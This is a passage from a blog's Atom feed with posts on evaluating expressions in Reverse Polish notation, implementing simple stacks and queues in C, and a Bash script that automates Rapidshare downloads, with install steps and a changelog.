/&gt;Screenshot:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss3g8KK8C6I/AAAAAAAAAA0/92K6cFMjojE/s1600-h/rpn2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 343px;" src="http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss3g8KK8C6I/AAAAAAAAAA0/92K6cFMjojE/s400/rpn2.png" alt="" id="BLOGGER_PHOTO_ID_5390211653159357346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It also lists the steps taken during the conversion from Infix to Postfix notation and also how the RPN expression is evaluated. Compile with:&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;gcc rpn.c -o rpn -lm&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://0x1337.netne.net/rpn.c"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-398825250435647045?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/398825250435647045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/evaluate-mathematical-expressions-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/398825250435647045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/398825250435647045'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/evaluate-mathematical-expressions-using.html' title='Evaluate mathematical expressions using RPN(Postfix/Reverse polish notation)'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_5TlVeZ2s7Gs/Ss3g8KK8C6I/AAAAAAAAAA0/92K6cFMjojE/s72-c/rpn2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-5156138748227802068</id><published>2009-10-04T15:23:00.008+04:00</published><updated>2009-10-04T16:14:12.997+04:00</updated><title type='text'>Implementing basic stacks and queues in C</title><content type='html'>So, you're a C programmer, the type of programmer who hates C++ coz it's bloated and now you're working on a simple program.&lt;br /&gt;&lt;br /&gt;You suddenly realize that part of your program needs to use a queue or stack data structure and you absolutely don't want to use STL coz you just don't like it(actually, you hate it)&lt;br /&gt;&lt;br /&gt;So what do you do?!&lt;br /&gt;&lt;br /&gt;A simple solution for a stack is to define an array with predefined maximum size and then use a stack pointer pointing to next empty place on stack:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;//Basic stack structure&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;#define STACKMAX 10000 //maximum size of stack&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;int stack[STACKMAX]; //stack array&lt;br /&gt;int stackptr=0;//next empty place on stack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;void push(int value){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;stack[stackptr]=value;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;stackptr++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;int pop()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;{&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;if(stackptr&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;0){&lt;br /&gt;stackptr--;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;return stack[stackptr];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;return -1; //assuming -1 is not a possible value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It's almost the same for a queue with the exception that 2 indices are used. 1 which points to the head of the queue and one for the tail.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;//Basic queue structure&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;#define QUEUEMAX 10000 //maximum size of queue&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;int queue[QUEUEMAX]; //queue array&lt;br /&gt;int head=0;int tail=0;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;void push(int value){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;queue[tail]=value;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;tail++;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;int pop()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;{&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;if(head&lt;/span&gt;&lt;tail){ style="font-family: courier new;"&gt;&lt;/tail){&gt;&lt;/span&gt;&lt;span style="font-family: courier new;"&gt;&amp;lt;tail){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;head++;&lt;/span&gt;&lt;br /&gt;&lt;tail){&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;return queue[head-1];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;return -1; //assuming -1 is not a possible value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:courier new;" &gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The only problem here is that you have to estimate the maximum size of the queue or stack, and more memory will be used than is actually needed, but this is just for a simple program. Of course you have to include error checking to see that the indices aren't exceeding the array size and then report "queue/stack is full".&lt;/tail){&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-5156138748227802068?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/5156138748227802068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/implementing-basic-stacks-and-queues-in.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/5156138748227802068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/5156138748227802068'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/10/implementing-basic-stacks-and-queues-in.html' title='Implementing basic stacks and queues in C'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2934768361276706662.post-8076436136912872375</id><published>2009-03-02T21:46:00.089+05:00</published><updated>2011-01-04T20:34:14.002+04:00</updated><title type='text'>Rapidshare automatic download script for free users</title><content type='html'>Recently, rapidshare has removed captcha protection from their website and this makes it much easier to automate downloads from rapidshare.&lt;br /&gt;&lt;br /&gt;Here is a little script i've cooked up which is available for Windows and Linux(for the Windows script it uses UnxUtils which is a win32 port for some essential linux apps, don't worry i've included the necessary binaries in the package).&lt;br /&gt;&lt;br /&gt;Here's a Windows screenshot:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5TlVeZ2s7Gs/SsS_z9DxH9I/AAAAAAAAAAc/Bim2DbYV32c/s1600-h/rsdown.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5387641953526554578" src="http://3.bp.blogspot.com/_5TlVeZ2s7Gs/SsS_z9DxH9I/AAAAAAAAAAc/Bim2DbYV32c/s400/rsdown.JPG" style="cursor: pointer; display: block; height: 202px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Linux screenshot ;) :&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_5TlVeZ2s7Gs/SsiA8riuH3I/AAAAAAAAAAs/2BRuCesOBlI/s1600-h/Screenshot-Terminal.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5388698734117658482" src="http://3.bp.blogspot.com/_5TlVeZ2s7Gs/SsiA8riuH3I/AAAAAAAAAAs/2BRuCesOBlI/s400/Screenshot-Terminal.png" style="cursor: pointer; display: block; height: 266px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;s&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large; font-weight: bold;"&gt;Links Updated!&lt;/span&gt;&lt;span style="color: red; font-size: large;"&gt; 3 July 2010&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;&lt;b&gt;Version 1.5 released!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red; font-size: large;"&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Premium support added&amp;nbsp;&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="margin-bottom: 3px; margin-top: 3px; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Windows:&lt;/b&gt; &lt;a href="http://rapidshare.com/files/404646491/rsdown_win_v1.5.zip.html"&gt;http://rapidshare.com/files/404646491/rsdown_win_v1.5.zip.html [700kb]&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 3px; margin-top: 3px; padding: 0px;"&gt;&lt;b&gt;Linux:&lt;/b&gt; &lt;span style="font-size: small;"&gt;&lt;a href="http://rapidshare.com/files/404649545/rsdown_linux_v1.5.zip.html"&gt;http://rapidshare.com/files/404649545/rsdown_linux_v1.5.zip.html [3kb]&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;(Thanks to all those who contributed, especially Tavva Capoblud)&lt;br /&gt;&lt;br /&gt;Occasionally, rapidshare may change the way their website works and this script might stop working, but for now it works without problem!&lt;/s&gt; No longer works...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large; font-weight: bold;"&gt;Installing:&lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/span&gt;&lt;/u&gt; &lt;br /&gt;For &lt;span style="font-weight: bold;"&gt;linux&lt;/span&gt; users, this is just a simple bash script. Just do  the following to set it up:&lt;br /&gt;&lt;span style="font-family: 'courier new'; font-size: small;"&gt;unzip  rsdown_linux.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new'; font-size: small;"&gt;chmod  +x ./rsdown_linux/rsdown.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note that you need  to have the following tools installed(which are installed by default  most of the time): cat,cut,&lt;span style="font-weight: bold;"&gt;gawk&lt;/span&gt;,grep,sleep,wc,&lt;span style="font-weight: bold;"&gt;wget&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;For  &lt;span style="font-weight: bold;"&gt;Windows&lt;/span&gt; users, extract the  package, and navigate to the &lt;span style="font-weight: bold;"&gt;rsdown_win&lt;/span&gt;  folder. then:&lt;br /&gt;1. right-click on &lt;span style="font-weight: bold;"&gt;rsdown.sh&lt;/span&gt;&lt;br /&gt;2.  choose Open with -&amp;gt; Browse to the &lt;span style="font-weight: bold;"&gt;rsdown_win\bin\&lt;/span&gt;  folder&lt;br /&gt;3. choose &lt;span style="font-weight: bold;"&gt;sh.exe&lt;/span&gt;,  and press ok&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%; font-weight: bold;"&gt;Running:&lt;/span&gt;&lt;br /&gt;Now, you can add your rapidshare downloads  to the &lt;span style="font-weight: bold;"&gt;dllist.txt&lt;/span&gt; file and do:&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Linux&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;cd ./rsdown_linux/&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size: small; font-weight: bold;"&gt;./rsdown.sh&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Windows&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: small;"&gt;double click on rsdown.sh (inside rsdown_win folder)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Downloads  will be stored in the &lt;span style="font-family: 'courier new'; font-weight: bold;"&gt;dls/&lt;/span&gt; folder.&lt;br /&gt;&lt;br /&gt;The script will automatically  start the downloads in the list, and even if the DOWNLOAD LIMIT has been  exceeded, it will wait and retry until it can download the other files.&lt;br /&gt;&lt;br /&gt;If  any problem occurs or you like it or have any suggestion, don't  hesitate to post a message! Hope you enjoy it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large; font-weight: bold;"&gt;Changelog: &lt;/span&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Version 1.5&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;b&gt;3-JUL-2010&lt;/b&gt;&lt;br /&gt;&lt;b&gt;sniper11:&lt;/b&gt;&lt;br /&gt;- Tiny bugfix, added the -c switch to wget when using premium account to resume downloads&lt;br /&gt;&lt;u&gt;&lt;b&gt;Version 1.4&lt;/b&gt;&lt;/u&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br /&gt;&lt;b&gt;23-JUN-2010&lt;/b&gt;&lt;br /&gt;&lt;b&gt;sniper11:&lt;/b&gt;&lt;br /&gt;- Rapidshare premium  support added - account details are stored in premium.conf &lt;br /&gt;- comments allowed in dllist.txt: lines starting with #&lt;br /&gt;- PATH configured automatically on Windows, no need to change via  System-&amp;gt;Environment variables&lt;br /&gt;- Added $OS variable, for  compatibility with both Windows and Linux in a single script&lt;br /&gt;-  Some bugfixes/more meaningful variable names &lt;br /&gt;&lt;u&gt;&lt;b&gt;Version 1.3&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;b&gt;12-APR-2010 &lt;/b&gt;&lt;br /&gt;&lt;b&gt;Tavvva:&lt;/b&gt;&lt;br /&gt;- reworked to prevent fast looping / out of order downloading when any problems appear ...&lt;br /&gt;- 3 min delay added between the particular retries to prevent overloading of the server with unsuccessfull download requests&lt;br /&gt;&lt;b&gt;13-APR-2010&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Tavvva:&lt;/b&gt;&lt;br /&gt;- download status checking to prevent failures of the script execution when the main wget fails (the consequent changedir&amp;nbsp;is not skipped and the script can retry the download)&lt;br /&gt;- link counter fix&lt;br /&gt;&lt;b&gt;22-APR-2010&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Tavvva:&lt;/b&gt;&lt;br /&gt;- number of wget internal tries set to 1 (fixes "download session expired" states when the download is interrupted in the middle)&lt;br /&gt;- tools presence checking (as suggested by "Anonymous")&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2934768361276706662-8076436136912872375?l=sniper11powers.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sniper11powers.blogspot.com/feeds/8076436136912872375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sniper11powers.blogspot.com/2009/03/rapidshare-automatic-download-script.html#comment-form' title='77 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/8076436136912872375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2934768361276706662/posts/default/8076436136912872375'/><link rel='alternate' type='text/html' href='http://sniper11powers.blogspot.com/2009/03/rapidshare-automatic-download-script.html' title='Rapidshare automatic download script for free users'/><author><name>sniper11</name><uri>http://www.blogger.com/profile/09579809366752396200</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_5TlVeZ2s7Gs/SsS_z9DxH9I/AAAAAAAAAAc/Bim2DbYV32c/s72-c/rsdown.JPG' height='72' width='72'/><thr:total>77</thr:total></entry></feed>
